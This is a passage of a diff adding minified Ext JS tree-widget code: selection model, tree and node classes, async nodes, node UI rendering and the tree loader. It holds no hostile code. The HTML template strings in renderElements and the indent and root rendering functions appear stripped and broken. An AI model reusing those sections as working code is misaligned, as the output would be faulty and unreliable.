this.selNodes); + return a +}, unselect:function (b) { + if (this.selMap[b.id]) { + b.ui.onSelectedChange(false); + var c = this.selNodes; + var a = c.indexOf(b); + if (a != -1) { + this.selNodes.splice(a, 1) + } + delete this.selMap[b.id]; + this.fireEvent("selectionchange", this, this.selNodes) + } +}, clearSelections:function (b) { + var d = this.selNodes; + if (d.length > 0) { + for (var c = 0, a = d.length; c < a; c++) { + d[c].ui.onSelectedChange(false) + } + this.selNodes = []; + this.selMap = {}; + if (b !== true) { + this.fireEvent("selectionchange", this, this.selNodes) + } + } +}, isSelected:function (a) { + return this.selMap[a.id] ? true : false +}, getSelectedNodes:function () { + return this.selNodes.concat([]) +}, onKeyDown:Ext.tree.DefaultSelectionModel.prototype.onKeyDown, selectNext:Ext.tree.DefaultSelectionModel.prototype.selectNext, selectPrevious:Ext.tree.DefaultSelectionModel.prototype.selectPrevious}); +Ext.data.Tree = Ext.extend(Ext.util.Observable, {constructor:function (a) { + this.nodeHash = {}; + this.root = null; + if (a) { + this.setRootNode(a) + } + this.addEvents("append", "remove", "move", "insert", "beforeappend", "beforeremove", "beforemove", "beforeinsert"); + Ext.data.Tree.superclass.constructor.call(this) +}, pathSeparator:"/", proxyNodeEvent:function () { + return this.fireEvent.apply(this, arguments) +}, getRootNode:function () { + return this.root +}, setRootNode:function (a) { + this.root = a; + a.ownerTree = this; + a.isRoot = true; + this.registerNode(a); + return a +}, getNodeById:function (a) { + return this.nodeHash[a] +}, registerNode:function (a) { + this.nodeHash[a.id] = a +}, unregisterNode:function (a) { + delete this.nodeHash[a.id] +}, toString:function () { + return"[Tree" + (this.id ? " " + this.id : "") + "]" +}}); +Ext.data.Node = Ext.extend(Ext.util.Observable, {constructor:function (a) { + this.attributes = a || {}; + this.leaf = this.attributes.leaf; + this.id = this.attributes.id; + if (!this.id) { + this.id = Ext.id(null, "xnode-"); + this.attributes.id = this.id + } + this.childNodes = []; + this.parentNode = null; + this.firstChild = null; + this.lastChild = null; + this.previousSibling = null; + this.nextSibling = null; + this.addEvents({append:true, remove:true, move:true, insert:true, beforeappend:true, beforeremove:true, beforemove:true, beforeinsert:true}); + this.listeners = this.attributes.listeners; + Ext.data.Node.superclass.constructor.call(this) +}, fireEvent:function (b) { + if (Ext.data.Node.superclass.fireEvent.apply(this, arguments) === false) { + return false + } + var a = this.getOwnerTree(); + if (a) { + if (a.proxyNodeEvent.apply(a, arguments) === false) { + return false + } + } + return true +}, isLeaf:function () { + return this.leaf === true +}, setFirstChild:function (a) { + this.firstChild = a +}, setLastChild:function (a) { + this.lastChild = a +}, isLast:function () { + return(!this.parentNode ? true : this.parentNode.lastChild == this) +}, isFirst:function () { + return(!this.parentNode ? true : this.parentNode.firstChild == this) +}, hasChildNodes:function () { + return !this.isLeaf() && this.childNodes.length > 0 +}, isExpandable:function () { + return this.attributes.expandable || this.hasChildNodes() +}, appendChild:function (e) { + var g = false; + if (Ext.isArray(e)) { + g = e + } else { + if (arguments.length > 1) { + g = arguments + } + } + if (g) { + for (var d = 0, a = g.length; d < a; d++) { + this.appendChild(g[d]) + } + } else { + if (this.fireEvent("beforeappend", this.ownerTree, this, e) === false) { + return false + } + var b = this.childNodes.length; + var c = e.parentNode; + if (c) { + if (e.fireEvent("beforemove", e.getOwnerTree(), e, c, this, b) === false) { + return false + } + c.removeChild(e) + } + b = this.childNodes.length; + if (b === 0) { + this.setFirstChild(e) + } + this.childNodes.push(e); + e.parentNode = this; + var h = this.childNodes[b - 1]; + if (h) { + e.previousSibling = h; + h.nextSibling = e + } else { + e.previousSibling = null + } + e.nextSibling = null; + this.setLastChild(e); + e.setOwnerTree(this.getOwnerTree()); + this.fireEvent("append", this.ownerTree, this, e, b); + if (c) { + e.fireEvent("move", this.ownerTree, e, c, this, b) + } + return e + } +}, removeChild:function (c, b) { + var a = this.childNodes.indexOf(c); + if (a == -1) { + return false + } + if (this.fireEvent("beforeremove", this.ownerTree, this, c) === false) { + return false + } + this.childNodes.splice(a, 1); + if (c.previousSibling) { + c.previousSibling.nextSibling = c.nextSibling + } + if (c.nextSibling) { + c.nextSibling.previousSibling = c.previousSibling + } + if (this.firstChild == c) { + this.setFirstChild(c.nextSibling) + } + if (this.lastChild == c) { + this.setLastChild(c.previousSibling) + } + this.fireEvent("remove", this.ownerTree, this, c); + if (b) { + c.destroy(true) + } else { + c.clear() + } + return c +}, clear:function (a) { + this.setOwnerTree(null, a); + this.parentNode = this.previousSibling = this.nextSibling = null; + if (a) { + this.firstChild = this.lastChild = null + } +}, destroy:function (a) { + if (a === true) { + this.purgeListeners(); + this.clear(true); + Ext.each(this.childNodes, function (b) { + b.destroy(true) + }); + this.childNodes = null + } else { + this.remove(true) + } +}, insertBefore:function (d, a) { + if (!a) { + return this.appendChild(d) + } + if (d == a) { + return false + } + if (this.fireEvent("beforeinsert", this.ownerTree, this, d, a) === false) { + return false + } + var b = this.childNodes.indexOf(a); + var c = d.parentNode; + var e = b; + if (c == this && this.childNodes.indexOf(d) < b) { + e-- + } + if (c) { + if (d.fireEvent("beforemove", d.getOwnerTree(), d, c, this, b, a) === false) { + return false + } + c.removeChild(d) + } + if (e === 0) { + this.setFirstChild(d) + } + this.childNodes.splice(e, 0, d); + d.parentNode = this; + var g = this.childNodes[e - 1]; + if (g) { + d.previousSibling = g; + g.nextSibling = d + } else { + d.previousSibling = null + } + d.nextSibling = a; + a.previousSibling = d; + d.setOwnerTree(this.getOwnerTree()); + this.fireEvent("insert", this.ownerTree, this, d, a); + if (c) { + d.fireEvent("move", this.ownerTree, d, c, this, e, a) + } + return d +}, remove:function (a) { + if (this.parentNode) { + this.parentNode.removeChild(this, a) + } + return this +}, removeAll:function (a) { + var c = this.childNodes, b; + while ((b = c[0])) { + this.removeChild(b, a) + } + return this +}, item:function (a) { + return this.childNodes[a] +}, replaceChild:function (a, c) { + var b = c ? c.nextSibling : null; + this.removeChild(c); + this.insertBefore(a, b); + return c +}, indexOf:function (a) { + return this.childNodes.indexOf(a) +}, getOwnerTree:function () { + if (!this.ownerTree) { + var a = this; + while (a) { + if (a.ownerTree) { + this.ownerTree = a.ownerTree; + break + } + a = a.parentNode + } + } + return this.ownerTree +}, getDepth:function () { + var b = 0; + var a = this; + while (a.parentNode) { + ++b; + a = a.parentNode + } + return b +}, setOwnerTree:function (a, b) { + if (a != this.ownerTree) { + if (this.ownerTree) { + this.ownerTree.unregisterNode(this) + } + this.ownerTree = a; + if (b !== true) { + Ext.each(this.childNodes, function (c) { + c.setOwnerTree(a) + }) + } + if (a) { + a.registerNode(this) + } + } +}, setId:function (b) { + if (b !== this.id) { + var a = this.ownerTree; + if (a) { + a.unregisterNode(this) + } + this.id = this.attributes.id = b; + if (a) { + a.registerNode(this) + } + this.onIdChange(b) + } +}, onIdChange:Ext.emptyFn, getPath:function (c) { + c = c || "id"; + var e = this.parentNode; + var a = [this.attributes[c]]; + while (e) { + a.unshift(e.attributes[c]); + e = e.parentNode + } + var d = this.getOwnerTree().pathSeparator; + return d + a.join(d) +}, bubble:function (c, b, a) { + var d = this; + while (d) { + if (c.apply(b || d, a || [d]) === false) { + break + } + d = d.parentNode + } +}, cascade:function (g, e, b) { + if (g.apply(e || this, b || [this]) !== false) { + var d = this.childNodes; + for (var c = 0, a = d.length; c < a; c++) { + d[c].cascade(g, e, b) + } + } +}, eachChild:function (g, e, b) { + var d = this.childNodes; + for (var c = 0, a = d.length; c < a; c++) { + if (g.apply(e || d[c], b || [d[c]]) === false) { + break + } + } +}, findChild:function (b, c, a) { + return this.findChildBy(function () { + return this.attributes[b] == c + }, null, a) +}, findChildBy:function (h, g, b) { + var e = this.childNodes, a = e.length, d = 0, j, c; + for (; d < a; d++) { + j = e[d]; + if (h.call(g || j, j) === true) { + return j + } else { + if (b) { + c = j.findChildBy(h, g, b); + if (c != null) { + return c + } + } + } + } + return null +}, sort:function (e, d) { + var c = this.childNodes; + var a = c.length; + if (a > 0) { + var g = d ? function () { + e.apply(d, arguments) + } : e; + c.sort(g); + for (var b = 0; b < a; b++) { + var h = c[b]; + h.previousSibling = c[b - 1]; + h.nextSibling = c[b + 1]; + if (b === 0) { + this.setFirstChild(h) + } + if (b == a - 1) { + this.setLastChild(h) + } + } + } +}, contains:function (a) { + return a.isAncestor(this) +}, isAncestor:function (a) { + var b = this.parentNode; + while (b) { + if (b == a) { + return true + } + b = b.parentNode + } + return false +}, toString:function () { + return"[Node" + (this.id ? " " + this.id : "") + "]" +}}); +Ext.tree.TreeNode = Ext.extend(Ext.data.Node, {constructor:function (a) { + a = a || {}; + if (Ext.isString(a)) { + a = {text:a} + } + this.childrenRendered = false; + this.rendered = false; + Ext.tree.TreeNode.superclass.constructor.call(this, a); + this.expanded = a.expanded === true; + this.isTarget = a.isTarget !== false; + this.draggable = a.draggable !== false && a.allowDrag !== false; + this.allowChildren = a.allowChildren !== false && a.allowDrop !== false; + this.text = a.text; + this.disabled = a.disabled === true; + this.hidden = a.hidden === true; + this.addEvents("textchange", "beforeexpand", "beforecollapse", "expand", "disabledchange", "collapse", "beforeclick", "click", "checkchange", "beforedblclick", "dblclick", "contextmenu", "beforechildrenrendered"); + var b = this.attributes.uiProvider || this.defaultUI || Ext.tree.TreeNodeUI; + this.ui = new b(this) +}, preventHScroll:true, isExpanded:function () { + return this.expanded +}, getUI:function () { + return this.ui +}, getLoader:function () { + var a; + return this.loader || ((a = this.getOwnerTree()) && a.loader ? a.loader : (this.loader = new Ext.tree.TreeLoader())) +}, setFirstChild:function (a) { + var b = this.firstChild; + Ext.tree.TreeNode.superclass.setFirstChild.call(this, a); + if (this.childrenRendered && b && a != b) { + b.renderIndent(true, true) + } + if (this.rendered) { + this.renderIndent(true, true) + } +}, setLastChild:function (b) { + var a = this.lastChild; + Ext.tree.TreeNode.superclass.setLastChild.call(this, b); + if (this.childrenRendered && a && b != a) { + a.renderIndent(true, true) + } + if (this.rendered) { + this.renderIndent(true, true) + } +}, appendChild:function (b) { + if (!b.render && !Ext.isArray(b)) { + b = this.getLoader().createNode(b) + } + var a = Ext.tree.TreeNode.superclass.appendChild.call(this, b); + if (a && this.childrenRendered) { + a.render() + } + this.ui.updateExpandIcon(); + return a +}, removeChild:function (b, a) { + this.ownerTree.getSelectionModel().unselect(b); + Ext.tree.TreeNode.superclass.removeChild.apply(this, arguments); + if (!a) { + var c = b.ui.rendered; + if (c) { + b.ui.remove() + } + if (c && this.childNodes.length < 1) { + this.collapse(false, false) + } else { + this.ui.updateExpandIcon() + } + if (!this.firstChild && !this.isHiddenRoot()) { + this.childrenRendered = false + } + } + return b +}, insertBefore:function (c, a) { + if (!c.render) { + c = this.getLoader().createNode(c) + } + var b = Ext.tree.TreeNode.superclass.insertBefore.call(this, c, a); + if (b && a && this.childrenRendered) { + c.render() + } + this.ui.updateExpandIcon(); + return b +}, setText:function (b) { + var a = this.text; + this.text = this.attributes.text = b; + if (this.rendered) { + this.ui.onTextChange(this, b, a) + } + this.fireEvent("textchange", this, b, a) +}, setIconCls:function (b) { + var a = this.attributes.iconCls; + this.attributes.iconCls = b; + if (this.rendered) { + this.ui.onIconClsChange(this, b, a) + } +}, setTooltip:function (a, b) { + this.attributes.qtip = a; + this.attributes.qtipTitle = b; + if (this.rendered) { + this.ui.onTipChange(this, a, b) + } +}, setIcon:function (a) { + this.attributes.icon = a; + if (this.rendered) { + this.ui.onIconChange(this, a) + } +}, setHref:function (a, b) { + this.attributes.href = a; + this.attributes.hrefTarget = b; + if (this.rendered) { + this.ui.onHrefChange(this, a, b) + } +}, setCls:function (b) { + var a = this.attributes.cls; + this.attributes.cls = b; + if (this.rendered) { + this.ui.onClsChange(this, b, a) + } +}, select:function () { + var a = this.getOwnerTree(); + if (a) { + a.getSelectionModel().select(this) + } +}, unselect:function (a) { + var b = this.getOwnerTree(); + if (b) { + b.getSelectionModel().unselect(this, a) + } +}, isSelected:function () { + var a = this.getOwnerTree(); + return a ? a.getSelectionModel().isSelected(this) : false +}, expand:function (a, c, d, b) { + if (!this.expanded) { + if (this.fireEvent("beforeexpand", this, a, c) === false) { + return + } + if (!this.childrenRendered) { + this.renderChildren() + } + this.expanded = true; + if (!this.isHiddenRoot() && (this.getOwnerTree().animate && c !== false) || c) { + this.ui.animExpand(function () { + this.fireEvent("expand", this); + this.runCallback(d, b || this, [this]); + if (a === true) { + this.expandChildNodes(true, true) + } + }.createDelegate(this)); + return + } else { + this.ui.expand(); + this.fireEvent("expand", this); + this.runCallback(d, b || this, [this]) + } + } else { + this.runCallback(d, b || this, [this]) + } + if (a === true) { + this.expandChildNodes(true) + } +}, runCallback:function (a, c, b) { + if (Ext.isFunction(a)) { + a.apply(c, b) + } +}, isHiddenRoot:function () { + return this.isRoot && !this.getOwnerTree().rootVisible +}, collapse:function (b, g, h, e) { + if (this.expanded && !this.isHiddenRoot()) { + if (this.fireEvent("beforecollapse", this, b, g) === false) { + return + } + this.expanded = false; + if ((this.getOwnerTree().animate && g !== false) || g) { + this.ui.animCollapse(function () { + this.fireEvent("collapse", this); + this.runCallback(h, e || this, [this]); + if (b === true) { + this.collapseChildNodes(true) + } + }.createDelegate(this)); + return + } else { + this.ui.collapse(); + this.fireEvent("collapse", this); + this.runCallback(h, e || this, [this]) + } + } else { + if (!this.expanded) { + this.runCallback(h, e || this, [this]) + } + } + if (b === true) { + var d = this.childNodes; + for (var c = 0, a = d.length; c < a; c++) { + d[c].collapse(true, false) + } + } +}, delayedExpand:function (a) { + if (!this.expandProcId) { + this.expandProcId = this.expand.defer(a, this) + } +}, cancelExpand:function () { + if (this.expandProcId) { + clearTimeout(this.expandProcId) + } + this.expandProcId = false +}, toggle:function () { + if (this.expanded) { + this.collapse() + } else { + this.expand() + } +}, ensureVisible:function (c, b) { + var a = this.getOwnerTree(); + a.expandPath(this.parentNode ? this.parentNode.getPath() : this.getPath(), false, function () { + var d = a.getNodeById(this.id); + a.getTreeEl().scrollChildIntoView(d.ui.anchor); + this.runCallback(c, b || this, [this]) + }.createDelegate(this)) +}, expandChildNodes:function (b, e) { + var d = this.childNodes, c, a = d.length; + for (c = 0; c < a; c++) { + d[c].expand(b, e) + } +}, collapseChildNodes:function (b) { + var d = this.childNodes; + for (var c = 0, a = d.length; c < a; c++) { + d[c].collapse(b) + } +}, disable:function () { + this.disabled = true; + this.unselect(); + if (this.rendered && this.ui.onDisableChange) { + this.ui.onDisableChange(this, true) + } + this.fireEvent("disabledchange", this, true) +}, enable:function () { + this.disabled = false; + if (this.rendered && this.ui.onDisableChange) { + this.ui.onDisableChange(this, false) + } + this.fireEvent("disabledchange", this, false) +}, renderChildren:function (b) { + if (b !== false) { + this.fireEvent("beforechildrenrendered", this) + } + var d = this.childNodes; + for (var c = 0, a = d.length; c < a; c++) { + d[c].render(true) + } + this.childrenRendered = true +}, sort:function (e, d) { + Ext.tree.TreeNode.superclass.sort.apply(this, arguments); + if (this.childrenRendered) { + var c = this.childNodes; + for (var b = 0, a = c.length; b < a; b++) { + c[b].render(true) + } + } +}, render:function (a) { + this.ui.render(a); + if (!this.rendered) { + this.getOwnerTree().registerNode(this); + this.rendered = true; + if (this.expanded) { + this.expanded = false; + this.expand(false, false) + } + } +}, renderIndent:function (b, e) { + if (e) { + this.ui.childIndent = null + } + this.ui.renderIndent(); + if (b === true && this.childrenRendered) { + var d = this.childNodes; + for (var c = 0, a = d.length; c < a; c++) { + d[c].renderIndent(true, e) + } + } +}, beginUpdate:function () { + this.childrenRendered = false +}, endUpdate:function () { + if (this.expanded && this.rendered) { + this.renderChildren() + } +}, destroy:function (a) { + if (a === true) { + this.unselect(true) + } + Ext.tree.TreeNode.superclass.destroy.call(this, a); + Ext.destroy(this.ui, this.loader); + this.ui = this.loader = null +}, onIdChange:function (a) { + this.ui.onIdChange(a) +}}); +Ext.tree.TreePanel.nodeTypes.node = Ext.tree.TreeNode; +Ext.tree.AsyncTreeNode = function (a) { + this.loaded = a && a.loaded === true; + this.loading = false; + Ext.tree.AsyncTreeNode.superclass.constructor.apply(this, arguments); + this.addEvents("beforeload", "load") +}; +Ext.extend(Ext.tree.AsyncTreeNode, Ext.tree.TreeNode, {expand:function (b, e, h, c) { + if (this.loading) { + var g; + var d = function () { + if (!this.loading) { + clearInterval(g); + this.expand(b, e, h, c) + } + }.createDelegate(this); + g = setInterval(d, 200); + return + } + if (!this.loaded) { + if (this.fireEvent("beforeload", this) === false) { + return + } + this.loading = true; + this.ui.beforeLoad(this); + var a = this.loader || this.attributes.loader || this.getOwnerTree().getLoader(); + if (a) { + a.load(this, this.loadComplete.createDelegate(this, [b, e, h, c]), this); + return + } + } + Ext.tree.AsyncTreeNode.superclass.expand.call(this, b, e, h, c) +}, isLoading:function () { + return this.loading +}, loadComplete:function (a, c, d, b) { + this.loading = false; + this.loaded = true; + this.ui.afterLoad(this); + this.fireEvent("load", this); + this.expand(a, c, d, b) +}, isLoaded:function () { + return this.loaded +}, hasChildNodes:function () { + if (!this.isLeaf() && !this.loaded) { + return true + } else { + return Ext.tree.AsyncTreeNode.superclass.hasChildNodes.call(this) + } +}, reload:function (b, a) { + this.collapse(false, false); + while (this.firstChild) { + this.removeChild(this.firstChild).destroy() + } + this.childrenRendered = false; + this.loaded = false; + if (this.isHiddenRoot()) { + this.expanded = false + } + this.expand(false, false, b, a) +}}); +Ext.tree.TreePanel.nodeTypes.async = Ext.tree.AsyncTreeNode; +Ext.tree.TreeNodeUI = Ext.extend(Object, {constructor:function (a) { + Ext.apply(this, {node:a, rendered:false, animating:false, wasLeaf:true, ecc:"x-tree-ec-icon x-tree-elbow", emptyIcon:Ext.BLANK_IMAGE_URL}) +}, removeChild:function (a) { + if (this.rendered) { + this.ctNode.removeChild(a.ui.getEl()) + } +}, beforeLoad:function () { + this.addClass("x-tree-node-loading") +}, afterLoad:function () { + this.removeClass("x-tree-node-loading") +}, onTextChange:function (b, c, a) { + if (this.rendered) { + this.textNode.innerHTML = c + } +}, onIconClsChange:function (c, a, b) { + if (this.rendered) { + Ext.fly(this.iconNode).replaceClass(b, a) + } +}, onIconChange:function (b, a) { + if (this.rendered) { + var c = Ext.isEmpty(a); + this.iconNode.src = c ? this.emptyIcon : a; + Ext.fly(this.iconNode)[c ? "removeClass" : "addClass"]("x-tree-node-inline-icon") + } +}, onTipChange:function (b, c, d) { + if (this.rendered) { + var a = Ext.isDefined(d); + if (this.textNode.setAttributeNS) { + this.textNode.setAttributeNS("ext", "qtip", c); + if (a) { + this.textNode.setAttributeNS("ext", "qtitle", d) + } + } else { + this.textNode.setAttribute("ext:qtip", c); + if (a) { + this.textNode.setAttribute("ext:qtitle", d) + } + } + } +}, onHrefChange:function (b, a, c) { + if (this.rendered) { + this.anchor.href = this.getHref(a); + if (Ext.isDefined(c)) { + this.anchor.target = c + } + } +}, onClsChange:function (c, a, b) { + if (this.rendered) { + Ext.fly(this.elNode).replaceClass(b, a) + } +}, onDisableChange:function (a, b) { + this.disabled = b; + if (this.checkbox) { + this.checkbox.disabled = b + } + this[b ? "addClass" : "removeClass"]("x-tree-node-disabled") +}, onSelectedChange:function (a) { + if (a) { + this.focus(); + this.addClass("x-tree-selected") + } else { + this.removeClass("x-tree-selected") + } +}, onMove:function (a, h, e, g, d, b) { + this.childIndent = null; + if (this.rendered) { + var i = g.ui.getContainer(); + if (!i) { + this.holder = document.createElement("div"); + this.holder.appendChild(this.wrap); + return + } + var c = b ? b.ui.getEl() : null; + if (c) { + i.insertBefore(this.wrap, c) + } else { + i.appendChild(this.wrap) + } + this.node.renderIndent(true, e != g) + } +}, addClass:function (a) { + if (this.elNode) { + Ext.fly(this.elNode).addClass(a) + } +}, removeClass:function (a) { + if (this.elNode) { + Ext.fly(this.elNode).removeClass(a) + } +}, remove:function () { + if (this.rendered) { + this.holder = document.createElement("div"); + this.holder.appendChild(this.wrap) + } +}, fireEvent:function () { + return this.node.fireEvent.apply(this.node, arguments) +}, initEvents:function () { + this.node.on("move", this.onMove, this); + if (this.node.disabled) { + this.onDisableChange(this.node, true) + } + if (this.node.hidden) { + this.hide() + } + var b = this.node.getOwnerTree(); + var a = b.enableDD || b.enableDrag || b.enableDrop; + if (a && (!this.node.isRoot || b.rootVisible)) { + Ext.dd.Registry.register(this.elNode, {node:this.node, handles:this.getDDHandles(), isHandle:false}) + } +}, getDDHandles:function () { + return[this.iconNode, this.textNode, this.elNode] +}, hide:function () { + this.node.hidden = true; + if (this.wrap) { + this.wrap.style.display = "none" + } +}, show:function () { + this.node.hidden = false; + if (this.wrap) { + this.wrap.style.display = "" + } +}, onContextMenu:function (a) { + if (this.node.hasListener("contextmenu") || this.node.getOwnerTree().hasListener("contextmenu")) { + a.preventDefault(); + this.focus(); + this.fireEvent("contextmenu", this.node, a) + } +}, onClick:function (c) { + if (this.dropping) { + c.stopEvent(); + return + } + if (this.fireEvent("beforeclick", this.node, c) !== false) { + var b = c.getTarget("a"); + if (!this.disabled && this.node.attributes.href && b) { + this.fireEvent("click", this.node, c); + return + } else { + if (b && c.ctrlKey) { + c.stopEvent() + } + } + c.preventDefault(); + if (this.disabled) { + return + } + if (this.node.attributes.singleClickExpand && !this.animating && this.node.isExpandable()) { + this.node.toggle() + } + this.fireEvent("click", this.node, c) + } else { + c.stopEvent() + } +}, onDblClick:function (a) { + a.preventDefault(); + if (this.disabled) { + return + } + if (this.fireEvent("beforedblclick", this.node, a) !== false) { + if (this.checkbox) { + this.toggleCheck() + } + if (!this.animating && this.node.isExpandable()) { + this.node.toggle() + } + this.fireEvent("dblclick", this.node, a) + } +}, onOver:function (a) { + this.addClass("x-tree-node-over") +}, onOut:function (a) { + this.removeClass("x-tree-node-over") +}, onCheckChange:function () { + var a = this.checkbox.checked; + this.checkbox.defaultChecked = a; + this.node.attributes.checked = a; + this.fireEvent("checkchange", this.node, a) +}, ecClick:function (a) { + if (!this.animating && this.node.isExpandable()) { + this.node.toggle() + } +}, startDrop:function () { + this.dropping = true +}, endDrop:function () { + setTimeout(function () { + this.dropping = false + }.createDelegate(this), 50) +}, expand:function () { + this.updateExpandIcon(); + this.ctNode.style.display = "" +}, focus:function () { + if (!this.node.preventHScroll) { + try { + this.anchor.focus() + } catch (c) { + } + } else { + try { + var b = this.node.getOwnerTree().getTreeEl().dom; + var a = b.scrollLeft; + this.anchor.focus(); + b.scrollLeft = a + } catch (c) { + } + } +}, toggleCheck:function (b) { + var a = this.checkbox; + if (a) { + a.checked = (b === undefined ? !a.checked : b); + this.onCheckChange() + } +}, blur:function () { + try { + this.anchor.blur() + } catch (a) { + } +}, animExpand:function (b) { + var a = Ext.get(this.ctNode); + a.stopFx(); + if (!this.node.isExpandable()) { + this.updateExpandIcon(); + this.ctNode.style.display = ""; + Ext.callback(b); + return + } + this.animating = true; + this.updateExpandIcon(); + a.slideIn("t", {callback:function () { + this.animating = false; + Ext.callback(b) + }, scope:this, duration:this.node.ownerTree.duration || 0.25}) +}, highlight:function () { + var a = this.node.getOwnerTree(); + Ext.fly(this.wrap).highlight(a.hlColor || "C3DAF9", {endColor:a.hlBaseColor}) +}, collapse:function () { + this.updateExpandIcon(); + this.ctNode.style.display = "none" +}, animCollapse:function (b) { + var a = Ext.get(this.ctNode); + a.enableDisplayMode("block"); + a.stopFx(); + this.animating = true; + this.updateExpandIcon(); + a.slideOut("t", {callback:function () { + this.animating = false; + Ext.callback(b) + }, scope:this, duration:this.node.ownerTree.duration || 0.25}) +}, getContainer:function () { + return this.ctNode +}, getEl:function () { + return this.wrap +}, appendDDGhost:function (a) { + a.appendChild(this.elNode.cloneNode(true)) +}, getDDRepairXY:function () { + return Ext.lib.Dom.getXY(this.iconNode) +}, onRender:function () { + this.render() +}, render:function (c) { + var e = this.node, b = e.attributes; + var d = e.parentNode ? e.parentNode.ui.getContainer() : e.ownerTree.innerCt.dom; + if (!this.rendered) { + this.rendered = true; + this.renderElements(e, b, d, c); + if (b.qtip) { + this.onTipChange(e, b.qtip, b.qtipTitle) + } else { + if (b.qtipCfg) { + b.qtipCfg.target = Ext.id(this.textNode); + Ext.QuickTips.register(b.qtipCfg) + } + } + this.initEvents(); + if (!this.node.expanded) { + this.updateExpandIcon(true) + } + } else { + if (c === true) { + d.appendChild(this.wrap) + } + } +}, renderElements:function (e, k, j, l) { + this.indentMarkup = e.parentNode ? e.parentNode.ui.getChildIndent() : ""; + var g = Ext.isBoolean(k.checked), b, c = this.getHref(k.href), d = ['
  • ', '', this.indentMarkup, "", '', '', g ? ('' : "/>")) : "", '', e.text, "
    ", '', "
  • "].join(""); + if (l !== true && e.nextSibling && (b = e.nextSibling.ui.getEl())) { + this.wrap = Ext.DomHelper.insertHtml("beforeBegin", b, d) + } else { + this.wrap = Ext.DomHelper.insertHtml("beforeEnd", j, d) + } + this.elNode = this.wrap.childNodes[0]; + this.ctNode = this.wrap.childNodes[1]; + var i = this.elNode.childNodes; + this.indentNode = i[0]; + this.ecNode = i[1]; + this.iconNode = i[2]; + var h = 3; + if (g) { + this.checkbox = i[3]; + this.checkbox.defaultChecked = this.checkbox.checked; + h++ + } + this.anchor = i[h]; + this.textNode = i[h].firstChild +}, getHref:function (a) { + return Ext.isEmpty(a) ? (Ext.isGecko ? "" : "#") : a +}, getAnchor:function () { + return this.anchor +}, getTextEl:function () { + return this.textNode +}, getIconEl:function () { + return this.iconNode +}, isChecked:function () { + return this.checkbox ? this.checkbox.checked : false +}, updateExpandIcon:function () { + if (this.rendered) { + var g = this.node, d, c, a = g.isLast() ? "x-tree-elbow-end" : "x-tree-elbow", e = g.hasChildNodes(); + if (e || g.attributes.expandable) { + if (g.expanded) { + a += "-minus"; + d = "x-tree-node-collapsed"; + c = "x-tree-node-expanded" + } else { + a += "-plus"; + d = "x-tree-node-expanded"; + c = "x-tree-node-collapsed" + } + if (this.wasLeaf) { + this.removeClass("x-tree-node-leaf"); + this.wasLeaf = false + } + if (this.c1 != d || this.c2 != c) { + Ext.fly(this.elNode).replaceClass(d, c); + this.c1 = d; + this.c2 = c + } + } else { + if (!this.wasLeaf) { + Ext.fly(this.elNode).replaceClass("x-tree-node-expanded", "x-tree-node-collapsed"); + delete this.c1; + delete this.c2; + this.wasLeaf = true + } + } + var b = "x-tree-ec-icon " + a; + if (this.ecc != b) { + this.ecNode.className = b; + this.ecc = b + } + } +}, onIdChange:function (a) { + if (this.rendered) { + this.elNode.setAttribute("ext:tree-node-id", a) + } +}, getChildIndent:function () { + if (!this.childIndent) { + var a = [], b = this.node; + while (b) { + if (!b.isRoot || (b.isRoot && b.ownerTree.rootVisible)) { + if (!b.isLast()) { + a.unshift('') + } else { + a.unshift('') + } + } + b = b.parentNode + } + this.childIndent = a.join("") + } + return this.childIndent +}, renderIndent:function () { + if (this.rendered) { + var a = "", b = this.node.parentNode; + if (b) { + a = b.ui.getChildIndent() + } + if (this.indentMarkup != a) { + this.indentNode.innerHTML = a; + this.indentMarkup = a + } + this.updateExpandIcon() + } +}, destroy:function () { + if (this.elNode) { + Ext.dd.Registry.unregister(this.elNode.id) + } + Ext.each(["textnode", "anchor", "checkbox", "indentNode", "ecNode", "iconNode", "elNode", "ctNode", "wrap", "holder"], function (a) { + if (this[a]) { + Ext.fly(this[a]).remove(); + delete this[a] + } + }, this); + delete this.node +}}); +Ext.tree.RootTreeNodeUI = Ext.extend(Ext.tree.TreeNodeUI, {render:function () { + if (!this.rendered) { + var a = this.node.ownerTree.innerCt.dom; + this.node.expanded = true; + a.innerHTML = '
    '; + this.wrap = this.ctNode = a.firstChild + } +}, collapse:Ext.emptyFn, expand:Ext.emptyFn}); +Ext.tree.TreeLoader = function (a) { + this.baseParams = {}; + Ext.apply(this, a); + this.addEvents("beforeload", "load", "loadexception"); + Ext.tree.TreeLoader.superclass.constructor.call(this); + if (Ext.isString(this.paramOrder)) { + this.paramOrder = this.paramOrder.split(/[\s,|]/) + } +}; +Ext.extend(Ext.tree.TreeLoader, Ext.util.Observable, {uiProviders:{}, clearOnLoad:true, paramOrder:undefined, paramsAsHash:false, nodeParameter:"node", directFn:undefined, load:function (b, c, a) { + if (this.clearOnLoad) { + while (b.firstChild) { + b.removeChild(b.firstChild) + } + } + if (this.doPreload(b)) { + this.runCallback(c, a || b, [b]) + } else { + if (this.directFn || this.dataUrl || this.url) { + this.requestData(b, c, a || b) + } + } +}, doPreload:function (d) { + if (d.attributes.children) { + if (d.childNodes.length < 1) { + var c = d.attributes.children; + d.beginUpdate(); + for (var b = 0, a = c.length; b < a; b++) { + var e = d.appendChild(this.createNode(c[b])); + if (this.preloadChildren) { + this.doPreload(e) + } + } + d.endUpdate() + } + return true + } + return false +}, getParams:function (g) { + var e = Ext.apply({}, this.baseParams), h = this.nodeParameter, b = this.paramOrder; + h && (e[h] = g.id); + if (this.directFn) { + var c = [g.id]; + if (b) { + if (h && b.indexOf(h) > -1) { + c = [] + } + for (var d = 0, a = b.length; d < a; d++) { + c.push(e[b[d]]) + } + } else { + if (this.paramsAsHash) { + c = [e] + } + } + return c + } else { + return e + } +}, requestData:function (c, d, b) { + if (this.fireEvent("beforeload", this, c, d) !== false) { + if (this.directFn) { + var a = this.getParams(c); + a.push(this.processDirectResponse.createDelegate(this, [ + {callback:d, node:c, scope:b} + ], true)); + this.directFn.apply(window, a) + } else { + this.transId = Ext.Ajax.request({method:this.requestMethod, url:this.dataUrl || this.url, success:this.handleResponse, failure:this.handleFailure, scope:this, argument:{callback:d, node:c, scope:b}, params:this.getParams(c)}) + } + } else { + this.runCallback(d, b || c, []) + } +}, processDirectResponse:function (a, b, c) { + if (b.status) { + this.handleResponse({responseData:Ext.isArray(a) ? a : null, responseText:a, argument:c}) + } else { + this.handleFailure({argument:c}) + } +}, runCallback:function (a, c, b) { + if (Ext.isFunction(a)) { + a.apply(c, b) + } +}, isLoading:function () { + return !!this.transId 